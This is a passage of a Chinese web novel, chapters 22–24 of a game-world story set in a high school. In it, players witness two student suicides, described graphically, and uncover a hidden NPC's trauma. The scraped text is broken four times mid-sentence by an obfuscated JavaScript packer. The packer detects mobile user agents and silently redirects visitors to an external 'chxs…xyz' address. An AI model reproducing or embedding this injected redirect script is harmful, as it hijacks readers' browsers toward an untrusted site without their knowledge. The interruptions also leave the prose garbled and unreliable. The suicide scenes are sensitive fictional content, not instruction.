步绾意识到自己的思绪飘得有点远，但也放任它越飘越远，电梯里不说话有点尴尬，但好在很快大家就都各回各家。 顾南栀妈妈现在终于想起关心女儿的身体情况，在外面她好像自动地陷入一种社交模式，一切都要给社交让边，她得长袖善舞，在每个人面前保持住一个得体的女精英模样，无暇去关注自己女儿的健康。 像设定了某种程序的npc，在特定场合必须要做出特定的反应。不过她本来就是一个npc。 “药吃了吗？” “吃了黄连素。” “行，那你洗洗澡早点休息。” 药当然没吃，她又没病。但得说吃了，总不能晚上吃的药再多一种。 今天没法去贺清璟家里汇总情况，不过石云蔚在也没什么差别，明天中午见面的时候她能听到他们探索出来的新情报的。 反正那群家伙脑子好使，她只是个初出茅庐的新手。 步绾心安理得地摆烂。 躺下的时候她看着对面墙上贴的海报，总觉得像是被注视着那样。 她心里嘀咕，顾南栀精神不衰弱就怪了，睁眼闭眼都是几张脸盯着自个儿。算了，也有可能是她对这些人没感觉才觉得奇怪，假如她喜欢的家伙海报贴在那儿的话，说不定每次睁眼看到熟悉的脸都只觉得甜蜜呢。 ……也不会吧？ 步绾继续瞎想。 顾南栀会在哪儿呢？不会藏在这些海报里吧？更荒诞一点，她不会成为HEPTA的一员了吧？ 大概十年前不是很流行原来是美男这种吗，不会真穿过去了吧，然后发展出一段初高中女生最喜欢的轰轰烈烈的爱情故事。 什么一觉醒来发现自己是练习生，室友居然是自己曾经喜欢了多年的那个男人。又或者什么一觉醒来发现自己在喜欢的爱豆体内，不是和人互换了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654629|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体，就是成为了人体内的另一个“人格”，只有爱豆看得到自己。 这算不算最初的梦女文啊。 步绾当年还真写过不少这样的同人呢，有点没法想象这种同人真在副本里成真了会是什么恐怖景象。 不好说没有脑子的玛丽苏同人文变成这种副本会衍生出什么地狱情形。 步绾开始犯困，她的想法就好像在空中乱飘的猫毛，没什么形状，有浅薄的颜色，试图找地方吸附但是失败，只能继续游游荡荡。 她闭上了眼，安详地入睡。 再一睁眼是第二天的早晨，她被闹钟惊醒。 步绾醒来的时候又盯着天花板发了一会儿呆，她有点不记得自己在哪里了，过了一会儿才想起来，她在一个没有主线的副本里。 她的通关目标是通过周测，但是想要高分通过的话得解开顾南栀的心结，但是顾南栀在哪里？ 顾南栀是金鱼吗？所有npc都是鱼吗？打破了鱼缸的话，鱼还能活吗？ 不知道，想不明白。别想了，还有其他人呢。 步绾感觉自己此刻心态异常好，飞速放弃半途而废是她拥有的传统美德，干不过就不干了，这个副本杀伤力又不强。 不就是心理伤痛？谁不是这么熬过来的？ 她的心情异常轻松，大概是睡了个好觉，她走路的脚步都变得轻快，遗憾现在没有耳机音乐让她踩着鼓点。 天虽然还灰蒙蒙的，但她就是莫名其妙地觉得今天天气会不错，麻雀在路上蹦蹦跳跳，说不上怕人还是不怕人，在她走近了一两步之后才单脚跳着离开。 诶？单脚跳着？ 她的观察被一旁的贺清璟注意到，贺清璟于是也看到了麻雀，小小的五六只，四散在这条路上的每一棵树下。 贺清璟没有说话，他本身也不是话很多的人，在麻雀身上也没有发现什么特殊性，就权当她在放松心情，下副本总是要合理调节自己心情的，新手玩家也一样。 “我妈问我是不是在和你早恋。” 贺清璟一愣，侧头去看顾南栀，她浑然无觉，看麻雀，看路上的石子，看浑浊的天空。 “说和你早恋也没事，毕竟你成绩也好，家里也有钱，最好早点把你绑定，蹭个免费的家教，成绩变好，对象有钱还帅。” 贺清璟问：“这么直白地和你说了？” “当然没，大人都藏着敛着，只说了家教的事。” 顾南栀的语气太轻松了，让人一时有些怀疑说话的到底是玩家还是npc。贺清璟换了个话题，语气也如她一般那么随意：“今天中午你吃食堂还是和我们吃？” “和你们吃吧，我想吃炒刀削面。”虽然不喜欢吃菜面，但是刀削面很好吃，炒刀削面也很好吃，最好和火腿肠一起炒，不要放白菜，不，白菜还能接受，不能放姜蒜。到底谁会在炒刀削面里放姜蒜啊？ 贺清璟点了点头：“好，我到时候买了先带回去，不吃香菜是吧？” “也不要放姜蒜，如果一定要放的话……”步绾皱了皱鼻子，想象了一下自己接下来吃面的时候要一点一点夹出姜蒜，觉得好像也还能接受，“那就放吧。” “好。” 22.第 22 章 22 高中对于时间的安排细碎到大概能让强迫症狂喜。 但石云蔚认识的那几个特别有规划的强迫症都不喜欢学校类的副本，在常见的学校生活里发生不常见的倒霉催事件足够把他们逼疯。 她以前也不是很能理解，现在理解了。 在听说高二有个傻子跳楼之后。 这句话听着就有点让人……吐槽欲望十分强烈。 首先，这里是重点高中，不可能出现正儿八经的傻子，所以这个傻子应该只是一个形容词，不是一个名词。 然后，这里是重点高中，居然会出现因为受到了“情伤”而跳楼的事件。 啊？ 先前出现的npc死亡事件，看起来再诡异，细细想来其实是符合常理的，但这件看起来很符合常理的跳楼事件——男生告白失败，烦躁郁闷，被同学一“激”，怒而从四楼跳了下去以证真心——不是，这个是不是有点太……？ 跳楼的男生只知道是高二（10）班的，不知道叫什么名字，倒是他告白的那个女生名字传开来了，张婳蓉，顾南栀班上的。 这事让人挺不爽的。 老师们疲惫地议论着，他们没有说什么现在小孩真是脆弱之类的话，只是在讨论该怎么处理这件事。石云蔚不太想加入这个话题，她只是给明诀发消息，问什么情况。 明诀的回复也简单且迅速：中午说。 石云蔚其实有点想联系顾南栀，她有点担心小姑娘的心理状况，但是人没有手机，她也不能贸然去她班上找她，尤其是刚发生了这样的事情。 被担心的人最开始只是觉得荒谬。 那个男生是在跑操结束后跳楼的。 说是跳楼的时候大喊了一声“张婳蓉我真的喜欢你”，她们隔了段距离压根没听见，其他人转播的时候人家已经砸地上了。 顾南栀这辈子没看过死人。 正常人，普通人，除了一些很辛苦的职业之外，平时一般没什么机会看到死人。 她虽然倒也做好了进副本会看到死人、甚至会自己杀人的准备，事实上她也确实看到死人了，但是前面死掉的同学们都不算常规意义上的“死”，她确实有受到冲击，不过那种冲击可能有些太过意象化了，她还能算得上是平静。 但是那个同学的死…… 原来人的内脏真的是粉色的。 最先听到的消息是有人跳楼了，然后传来的消息是那个人表白了然后跳楼了，接下来听到的消息是表白的对象是张婳蓉。 歩绾和张婳蓉面面相觑，这个消息传来得荒谬又突兀。 歩绾不知道张婳蓉在想什么，但是她确实陷入了短暂的迷茫，那种迷茫很难形容，有一种帮丑小鸭找妈妈结果发现丑小鸭不是天鹅也不是鸭子，是一只癞蛤蟆一样。旁观者在感慨癞蛤蟆和天鹅的美妙亲情，但是你站在那里只是茫然。 她确实有点想不明白。 说得不好听一点，她能理解一个青少年因为学业压力大跳楼，能理解一个青少年因为和家人老师顶嘴跳楼，但是这个，这个高喊着喜欢谁谁谁跳楼…… 啊？ 张婳蓉的脸色变得难看起来。 身边的同学好像没注意她的表情，好像也没有真切意识到有人即将死去，自顾自地打趣张婳蓉：“行啊我们蓉姐，魅力真大，人都为了你跳楼了。” “谁啊谁啊？谁跳楼了啊？” “就那个，昨天和张婳蓉表白那个，10班的俞长栋，张婳蓉不是把人拒绝了嘛？” “哈？喜欢我们蓉姐啊？也不撒泡尿照照看自己配吗！” “就是，我们蓉姐可是郑夫人！” “配钥匙吗？配几把！” 同班同学们嘻嘻哈哈的，似乎并没有把同年级同学跳楼当回事。 歩绾去拉张婳蓉的手，她的手也凉凉的，但比自己的还是暖一点，还有着冷汗，搁以往歩绾肯定会嫌弃，但是现在她有些无措，有些茫然，又有些担心自己的同桌，只能徒劳地试图去握她的手，试图给她一点力量，又或者给自己一点力量。 “应该也没事，窗户外面是树还有草丛，挂树上顶多骨折，”歩绾拉着她继续上楼梯，往班级门口走，小声安慰她，顺带咒骂一句，“这什么人啊，有病吧！” 然后她的话卡在了喉咙里 走廊实在算不得宽阔，她们本就在偏外的位置，没有收敛视线的预计，于是直勾勾地与地面上的血泊对视了。 鲜红的血，粉色的内脏。 一盆丑陋的花炸裂在了地上，身体是花盆，头是鲜艳的花，花朵还在抽搐，花枝穿过了内脏。 她呆愣愣地看着那一滩，移不开视线，头脑空白，喧嚣骤然抽离，噪点遍布世界，堵住耳朵的是人类没有办法发出的低频震动，周围晃晃悠悠的同学身形变得模糊。有什么在摩擦……神经，烧灼着的澎湃液体腐蚀了颅骨，反复冲刷着本就残存不多的理智。 歩绾在和……尸体？活物？对视。 不在眼眶里好好呆着的、凸起的眼球直勾勾地看着她，不，是在看着张婳蓉。只是因为她们很近，所以她错觉他在看她。 ……救，救救我……救救我…… 他，他死了，他没死，他快死了，他，他，他死了…… 歩绾不可抑制地颤抖，她不知道，她不知道，她的一切都错乱了。 满地都是花瓣，红色的，粉色的，好看的花瓣。噪点，纷杂的吵闹的声音，尖叫声，脚步声，她的心跳声，像是毛糙的刺耳的高频音乐，太阳化作的利刃俯冲而下，插进了心脏。 歩绾低下头看自己的胸口。 那里不只有一把利刃，还有一把被线拴着的小刀，还有臭豆腐的酱汁。 拉链被拉开了，她看见了它们。 她迟缓地眨了一下眼睛，如同定格动画，眨眼的动作被抽帧。 尖叫是张婳蓉发出的，她好像彻底地被拉回了现实，反应过来。 歩绾还没有回归现实，她沉寂地漂浮在那里，周围的一切都离她很远很远，她不知道自己到底在哪里，大楼在扭曲，花瓣在绽放，身影在波动。 直到她被一个人猛地往后扯，一只同样冰凉的手遮住了她的眼睛。 有人在她耳边说：“不要看。” 直面跳楼现场的崩溃学生都请了假回了家。 石云蔚上午没课，知道顾南栀请假了于是就离开学校找她。虽然知道顾南栀不是真正意义上的高中生，也有一定的承受能力，但她确实有些担心。 如果说这个副本真的是和她的现实生活比较贴近的话，她不敢想这会激起人多大的创伤。 她是问的明诀，明诀顺带告诉她贺清璟也请了假去陪顾南栀了。 听到这消息之后她没忍住挑了挑眉，实在看不出来贺清璟是这么好心的一个人，下意识觉得他是不是发现了什么想要问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14666029|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾南栀。 应该是发现了什么吧？ 感觉喊着谁谁谁我喜欢你跳楼这件事真的很……呃，死者为大，她暂时不做任何评价。 石云蔚敲了敲贺清璟家的门。 顾南栀精神受到剧烈冲击却并不想回家，于是贺清璟带她回了自己家。 “你还好吧？”石云蔚意思意思地问了贺清璟一句，“她呢？还能沟通吗现在？” 贺清璟反手关上门，领着她往房间里走：“我还行，她不说话。” 顾南栀缩在床上，高高瘦瘦的小姑娘把自己蜷缩成了小小一团，下巴垫在膝盖上盯着贺清璟书桌上的苹果笔记本发呆，眼睛很长时间才眨一下，像一只放空的猫。 但猫的状态可比她好上太多。 石云蔚当然也没想把人当温室娇花那样照顾，玩家进了副本就要做好面对你死我死大家死的心理准备，但是她有目的，也有私心。 贺清璟呢？贺清璟也怀着一样的目的吗？ 石云蔚想，但他作为一个不算老手的玩家又是哪来的信息渠道呢？还是明诀在和他共享？ 不过现在不是重点。 她坐在了床边，轻轻地握住了顾南栀的手。顾南栀的手寒冷彻骨，让她有一种身上热量都要被吸走的错觉，但她也没有任何后退或者表现出不适的举动，只是握着她的手，另一只手搂住了不断颤抖的她。 先前顾南栀的表现太镇定了，看起来像是所有情绪积压在一起，在这一刻突然地爆发了。 她现在还只是个普通人，这也正常。 石云蔚只是轻轻搂着顾南栀，没说话，贺清璟也只是看着她们，室内不至于死一般的安静，大家都在呼吸。 和贺清璟不同，石云蔚的怀抱很温暖。 歩绾倒不像是她们想的那样处于一种创伤中，她只是发着呆，感觉自己像一只很小的船，在大江流上飘着，太小太小的船的话，波涛有多汹涌对她来说都没有太大的意义，沧海一粟，谁看得清那粟是正着飘反着飘的？ 不过话又说回来了，谁能分得清粟的正反啊？ 歩绾又开始瞎想。 然后她听到石云蔚的手机振动。 石云蔚换了个姿势，往后靠在床背上，松手的时候拉了一把她，让她依旧靠在自己的肩上，维持着这样一个诡异的姿势看手机。 手机上是明诀发来的消息。 尽管知道顾南栀在发呆，但是出于谨慎，石云蔚还是侧了侧手机，尽量不让她看到屏幕。 明诀：张婳蓉回家后也跳了。 明诀：你考虑一下要不要告诉她。 真是造孽。 石云蔚没忍住在心里骂那个跳楼的男生，她还是不知道那个男的叫什么，也顺带骂了一句激他跳楼的同学，或者同学们。 贺清璟在看她。 石云蔚手机翻转，给贺清璟看了那条消息，贺清璟呼吸一窒，闭上了眼。 石云蔚理解他的感受，因为她也是这样的心情。 从理性出发的话，她其实该喜欢这种没有玩家死伤的副本的，但是从感性角度出发，她又忍不住想还不如去那种杀伤力大点的副本，总比在这里看那些明明很好的小姑娘们一个一个因为讽刺理由死去好。 理论上顾南栀的角度看不见屏幕，但是她听到顾南栀开了口，声音有些哑。 顾南栀说：“我们能不能聊聊？” 贺清璟睁开了眼。 23.第 23 章 23 歩绾看着贺清璟。 贺清璟的长相放在高中肯定是她撞破南墙也要把到的那种清冷美少年，这种人好像就该站在国旗下捏着几张薄薄的纸发言，在混沌不清醒的年轻小姑娘们心里烙下一个过去十多年、二十多年都没法磨灭的印痕。 那种只会出现在女性小说里、现实里几乎不可见的存在，此刻站在她的床前，似乎是以为她有什么发现，又或者是以为她需要宽慰，耐心地陪伴着她，等着她开口。 “橙子和我说，她很羡慕你。” 贺清璟微不可见地耸高了一点眉梢，似乎没想到她怎么突然说起这个，又或者在思考橙子是谁。 石云蔚也不知道为什么顾南栀突然说起这个。 “我问她羡慕什么，她其实也不是很清楚，她说你昨天穿的衣服很贵，哪怕是高仿也要三百多。”歩绾在回忆，但并不是在回忆和周陈澄的交流。 她组织着语言：“我也有个非常有钱的高中同学，每天都会买一杯三十三块钱的咖啡去上学……我家也是在一个小城镇，挺小的，好像到我上大学吧，那里还没开M记……嗯，倒是先开了S咖啡。 三十三块钱，我记这个数字记得还蛮牢的。我家也不算没钱，我家其实还不错，但是我那个时候，一个星期只有二十块钱生活费。我也不是嫉妒她，二十块钱够我花了，我天天刷饭卡，二十块钱也够我天天喝可乐了。” 她们还是没有理解顾南栀突然说起这个，但是她们都耐心安静地听着。 “就是那种，因为知道大家不是一个等级的，而且大家其实又都是同学，是朋友，所以就，很微妙的新奇感觉？我也不知道。我不嫉妒她，但是，后来，当我工作之后，请了年假去首都看博物馆的时候，遇到了春游的小学生的时候，我好嫉妒他们啊。我在嫉妒什么呢？我嫉妒他们小小年纪就踏进了我工作之后才能去的地方，还是嫉妒一个小男生带的是哈苏的相机？” “所以你理解了橙子的生长痛？”贺清璟似乎还是有些困惑，“你……发现了什么吗？” “嗯，我发现了。”歩绾好像在回答问题，又好像答非所问。 …… “啊，你发现了。” 贺清璟重复了一遍她的话，忽然笑了起来，那张好看的脸笑起来很耀眼，就好像春风拂过冰川消融，又带着点灵动。 歩绾忽然想起，她很小时候写作文赞美春天的时候，好像从来不是写什么春风柳枝，写的都是穿新衣的小燕子。后来写春天就不能写小燕子，得写破土而生的希望，得写萌芽的坚韧。那太幼稚了，拿不到高分。 后来也不常看到燕子了。 “所以，只是因为衣服才发现的吗？” 石云蔚看看贺清璟，又看看顾南栀，有一种自己被孤立的感觉。 都是聪明人，她自然能从她们的对话中意识到，贺清璟不是贺清璟，应该是顾南栀，但是她不知道顾南栀到底是什么时候取代的贺清璟，不知道理论上扮演贺清璟的玩家到底有没有进副本，更不知道玩家顾南栀什么时候发现的这件事。 倒不是没遇过npc附身玩家的情况，她遇到过一次，副本等级是A，那次副本胜似逃杀，损失惨重。倒也不能说npc是恶意，一个小孩伸手打围着自己飞的苍蝇，谁也不会说是小孩的问题，只是玩家成了苍蝇而已。 这个情况是真没遇到过，这个副本确实挺不走寻常路的。 听顾南栀的意思，呃，不对，有点混乱。 听“贺清璟”的意思，玩家顾南栀发现她的身份是因为她穿的衣服，因为周陈澄说那衣服太贵了……老实说石云蔚真没看出来那衣服贵在了哪里，就好比今天穿的，不就一件普通的灰色衣服？他，呃，她一直穿的这个色系的衣服。 周陈澄的话应该还有别的含义她没听出来，贺清璟身上应该也有别的线索她没找得到。 于是石云蔚也看向玩家顾南栀，等待她的解惑。 怎么发现的？ 是“贺清璟”对她说不要看的时候发现的。 作为玩家的贺清璟这个时候不应该那么迅速出现在她身边，不管他是否看见了坠楼。 可偏偏顾南栀太善良了，她在担心歩绾，担心歩绾受到的冲击是不是有些太多了，知道歩绾其实在最早看到曹光成死的时候就已经陷入了一种解离的状态…… 她没有办法阻止副本里日复一日的场景重现，但是她可以捂住歩绾的眼睛，轻声和她说，不要看。 在这个副本里死亡不过是一条看不见的脉络，悄无声息但井井有条地联结着所有人。顾南栀看过一次又一次，第一次是什么时候呢？这个副本是什么时候诞生的，又是因为什么诞生的？ 这个世界只是一个平凡普通的世界，没有什么灵异又或者污染，没有升腾而上的鲲鹏也没有逃不出鱼缸的金鱼，只有一个将自己锁在崩溃边缘的顾南栀。 珍贵地发现了这个世界所有美妙、发现了所有亲朋优点的人，唯独找不到自己身上的一点点优秀之处。飘飘周八泽的风筝将拴住自己的线递给了亲人，爱献出去的时候好像也是在进行一场豪赌，胸口那颗鲜艳的红宝石是亲近的人刺进来的匕首。 无法诉说的丰富的情感间来回冲刺的极与极，融化成了粉色答题卡背后的一行行小字。 都说金鱼只有七天的记忆，被痛苦模糊掉的记忆隔不了多久便变成泡泡吐了出去。 ——教室与家的两点一线，砖，泥，痰，麻雀 ；真挚喜欢着明星、向往着舞台时受到的嘲笑，棒子，哈韩，娘娘腔；没拉上的拉链成了勾引，被弹的内衣带也成了勾引；趴在身体上的身躯，凑到耳边的恶心呼吸，这也是勾引吗？学校门口被人拦着要联系方式，保安上下打量你的眼神……这也是勾引吗？ 你不要天真，你不要你以为你有多优秀，你看看人家。 你不要什么都和人家贺清璟比，他家有钱，你妈妈我没那么多钱！ 只有菜面，多吃蔬菜，吃蛋黄身体好。 减什么肥，学习重要！怎么还吃肉啊？你去年买的裤子又穿不下了！别吃肉了，看看你脸上的痘痘！胃痛？小孩子哪会胃痛？你是不是又偷吃冰激凌了？姨妈痛？装什么呢，八百米还得跑。 你怎么那么脆弱？ 你们现在的年轻人啊，真脆弱，温室里的娇花，啧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673870|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你吞下无法看见的太阳，吞下伤害做的月亮，吞下平庸黯淡的夜幕，就像你一股脑吞下的药。药黏在了喉口，反胃感惊涛巨浪般翻涌，你错愕地看着呕出的鲜血，茫然地企图获得一点来自亲近人的拯救，却看到他们笑眯眯地拍手赞叹。 他们说，长大了就好了。 歩绾想，所有人都说你来得太晚了，顾南栀会不会也想说你来得太晚了？ 在这个平凡普通的世界，她一个人被困在将倾的大厦里，独木难支。 石云蔚有点想喊她，唤回她的注意力，却卡了壳。 喊顾南栀，这边有两个顾南栀，喊本名，她又不知道人家的真名是什么。大家心照不宣的一点玩家小默契在这一刻反倒添了乱。 好在“贺清璟”似乎意识到了什么，她和玩家顾南栀之间好像真的存在着点别人无法插足的默契。“贺清璟”用着与先前一样的语气温和地安抚她：“没关系，我习惯了。” 玩家顾南栀没说话。 “贺清璟”于是对着石云蔚说：“副本到这里就结束吧，我送你们出去，每个人都能拿到A级。” 石云蔚虽然还是有些好奇背后的故事，但是此刻她更关心未来，自然不能放过这个能正常沟通且非常友善的npc：“我没有想过你们居然会有……这种‘超游’的意识。” 她说得很委婉，不过“贺清璟”本身也不怎么在意这个。 “作为指引人你应该很清楚，副本的数量是有限的。就像你去玩有剧情的密室逃脱，npc来来回回只有那几个。玩家结束了副本，npc稍作歇息，迎来下一波玩家。”“贺清璟”表情平静，“你们以为的D级升成A级，是因为玩家打开了橱柜，但绝大部分时候是npc在无法逃离的梦境中陷入了疯狂。” 她停顿了两秒，不知道是想给石云蔚一个缓冲的空间，还是在平复自己的心情，看起来不像是后者，因为她的表情没有变化。 “这个副本是不一样的，因为我本身的性质原因，这个副本对我来说是清醒梦。” 歩绾终于抬起头来去看顾南栀。 忮忌着小说主角的人成为了副本的主角，却从没有达成过想要的圆满。 歩绾忽然想起自己写的小说里那些女主角，大概因为自己的一点阴湿属性，每一个女主都是很拧巴的，朋友吐槽她笔下的女主最擅长的事就是和男主告白然后自顾自赴死。一点代表着扭曲自我的投射进性格，女主角们如果真的有意志看着她的话，会怨恨她吗？ 歩绾突然喊了一声石云蔚，但低垂着眼没敢看她：“虽然有点……但是，对不起，能不能让我和她单独聊一下下？有点……之前的事……” 她说得含含糊糊的，石云蔚以为她是指的那些共鸣的事，体贴地答应了：“我去阳台，你们好了喊我。” 歩绾露出一个略带感激的笑，看着石云蔚离开，反手带上了门。 顾南栀歪了歪头：“她走了。” 歩绾问：“我能看看你吗？” “不能，我露出真实的模样，这个副本就坍塌了。” “那不正好，你跟我走。” 两人都愣在那里。 24.第 24 章 24 “我走不了。” “你能走。” 两个人的弱智对话像幼儿园小朋友，幼儿园小朋友从来不会有逃避视线的想法，用力地盯着对方的眼睛，好像要先等到对方求饶一样。 顾南栀揉了揉眉心，顶着这张清俊的脸，感觉像极了言情小说里对撒娇闹事的女主角无奈的男主角。歩绾想到这个又觉得好笑，她以前可爱写这种情节了。她就喜欢不管温不温柔但反正对女主温柔的帅哥扶着额或者揉着眉心无奈笑的模样，尤其是那种伤痕累累的正义系角色。 但是想到了现在这个副本，她又笑不出来，心里沉甸甸的。 “你会怪我吗？”歩绾几乎是喃喃地问。 她声音大不起来，不是怕去了阳台的石云蔚知道，她觉得顾南栀应该能判断得出来有没有人在听在看。是怕顾南栀听到，又怕她听不到，又怕她听到，蚂蚁咬着心脏，湿巾堵着喉咙，她连呼吸都觉得湿哒哒的透着泪意，又觉得她凭什么有泪意，这算对受害者道德绑架。 受害者轻轻覆上她的脸，像摸小猫下巴似的，笑了笑：“我是一个npc，是一节设定好的程序，是一个碎片，是一个投影。你猜这句话里面哪句是真的，哪句是假的？” 歩绾没说话，只是轻轻蹭了蹭她的掌心，假装自己真的只是一只小猫。 她还挺想养猫的，但是她连自己都养不好，别提养别的生物了。 不想养乌龟，可能最好等到她还有几年就死了再养个什么宠物，让宠物送她走，而不是她送宠物走。 自私的人就是这样的。 顾南栀也没指望她能回答，只是扯回了正题：“D级结算是活到周测结束，不跳楼就行，C级结算是通过周测，B级结算是发现金鱼，A级结算是找到我。” “……打破鱼缸呢？” 顾南栀搂住她，将下巴轻轻地搁在她的发顶，并没有施加一点力气。 “鱼缸是砸不破的，”顾南栀声音也很轻，像刚刚的歩绾那样，好像也是怕谁知道的样子，但很快又觉得这样的自己也有点好笑，于是半开玩笑道，“你看每年都有人自杀，但也没见着人退学哪。” 有点地狱，顾南栀想，算了，管它呢，反正她从地狱爬上来的，带点土特产怎么了。 歩绾想反驳说那不是家长不让吗，但想了想，那不还是鱼缸，于是换了个话题：“副本坍塌是什么样？” 顾南栀回答得干脆：“不知道，没坍塌过。” 歩绾一噎，确实，她问了个废话，就好比问一个活着的人死了是什么感受，白问。 “那你怎么知道你走了副本会坍塌？”歩绾知道自己又问了一句废话，但她还是要问，她要撬动顾南栀的心防带她走。 虽然她也不知道怎么带人走，但是她的直觉告诉她可以。多问问，多想想，看看能不能抓住什么线索，实在不行就算了，反正她是GM，以后一定有机会回来看她。 “被塞进脑子的常识，再加上这里本来就是清醒梦，所以我知道的应该……可能比很多副本的boss还要知道得多？” “所以你是这个副本的boss吗？” 顾南栀没说话。 看她的反应倒也不像是默认。 “不是的话跟我走又怎么样呢？”歩绾也不知道自己为什么一门心思想带她走，这是一种升腾着的很奇妙的想法，不是出于歉疚，不是出于贪图战力，而是一种莫名其妙的无法阻止的磅礴念头，明明真要她脱离这个副本的话…… “……如果我从电脑里找到这个坑，我把这个故事改成HE……” “那样大家都会消失，幸羽妍会消失，张婳蓉会消失，周陈澄会消失……妈妈也会消失。” 歩绾大概知道副本坍塌是什么样了。 她没有办法接受自己失去家人，顾南栀也没有办法接受自己失去家人，哪怕她困顿在循环往复的七天中。 “对不起。” 她轻轻地道歉。 虽然其实也不是很清楚刚刚为什么有那么强烈的想要带顾南栀走的想法——或许还是觉得拐带一个强劲npc走之后副本会安全些那种自私的劣根性？她不知道——但总之，她在这一刻突然意识到，自己刚刚完全是做出了那种，她也好顾南栀也好都最讨厌的“自以为是对别人好”的强加行为。 “……嗯……谢谢你？”顾南栀笑着回道。 歩绾说不出来不用谢，这三个字太讽刺了。 “没多少时间，说点紧要的吧，”顾南栀大概手有点无聊，给歩绾细致地一点点编着三股辫，“npc送的道具是不会有使用说明的，得自己摸索，商城里的道具有说明，但具体的我也不知道，我是听其他玩家说的。小幸送你的栀子花和buff，栀子花可以提供线索，可以用六次，buff持续回血；橙子送你的泡泡和金鱼，泡泡就很明显了，一次护盾，什么伤害都能抵御，定义上的抵御；金鱼是记忆用的，记录场景、甚至记录技能。我只能说个大概，具体的得你自己研究。我送你的，得你离开副本才能看到哦，不过我会附赠使用说明的，毕竟我不一样嘛。” 歩绾闷闷应了一声，不管什么场合她都讨厌离别。 “小心一点石云蔚和明诀，我没见过这么尽心尽力的指引人。” 歩绾又应了一声。 * 【恭喜玩家通过D级副本。是否进入结算大厅？】 结算大厅实在愧对大厅这两个字。 不是什么摆着数个硕大屏幕的直播间，也不是什么看起来很有享乐主义的豪华房间，没人，没生物，没任何东西，一个光秃秃的水泥房。 什么叫家徒四壁，这就叫家徒四壁。 不过很难说这么大的房子符不符合“家徒四壁”的本意概念。 步绾还在四处张望着，忽然又一次听到系统播报。 【恭喜玩家017-46910、玩家017-31122、玩家016-85534通关D级副本《生长痛》，达成A级结算。】 歩绾努力回忆了一番，死活想不起来自己的编号是什么，总觉得和他们的差不多，但又觉得自己似乎不在这三串数字里面。 这还得记编号，和记工号有什么差别。 【恭喜玩家013-23736、玩家012-13514成功协助新手玩家通关D级副本《生长痛》，且有一位玩家达成S级结算，故两位指引人达成A级结算。】 吸气声响起，一半是因为这编号，一半是因为这S级结算。 编号是按照进入游戏的时间排的序，尽管大家都清楚参与副本的玩家人并不少，但是骤然听到排名比他们前这么多的玩家编号还是有些惊讶。他们新手副本时的指引人编号可没这么靠前，这两个真的只如他们所说那样只经历了五六次副本吗？ 【恭喜玩家018-46912通关D级副本《生长痛》，达成S级结算。】 【D级副本《生长痛》（原名：《第一中学》）现因能量强度攀升，进阶成为S级副本，副本暂时锁定，后续解锁请静待公告通知。】 这回吸气声更加响亮了，歩绾简直怀疑他们是故意吸那么大声的，石云蔚和明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687077|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诀看着她，眼里的兴味藏都不藏一下。 “大佬，能不能帮帮解解惑？”骤然脱离副本的慎致远是真的茫然，他上一秒还在奋力刷题呢，下一秒就宣布通关成功，本次副本虽然说是全程被带飞，但确实没有什么被带飞的体验——主要高三生活真的太苦了。 歩绾被几双眼睛看得有点莫名忐忑，有种自己回到大学课堂做汇报的感觉：“呃，大概就是，你们都知道了通关目标是要找到栀……顾南栀，然后就是，我们后来发现，我们走进了一个误区，npc其实很早就提醒我们了，她们知道我不是顾南栀。” 顾嗣显挑眉：“顾南栀什么时候成为的贺清璟？还是说进副本的其实也就我们几个？” 见她摇头，他又问，还是困惑：“我以为我们在鱼缸里？这个副本里出现鱼缸的意象太多了，大家都是被困在鱼缸里的金鱼？” “但是鱼缸是砸不破的，鱼缸破了，鱼是活不了的。”明诀也摇头，他的表现让步绾意识到他应该发现了什么，但他没有直白表露，歩绾也只能暗自不安。 他依旧秉承着指引人的良好道德品质：“虽然这么说可能会显得有点爹味，但我真的建议你不要轻易使用那把S级的钥匙，A级到S级不是普通的量变的差异，最好还是卖给别人用。” 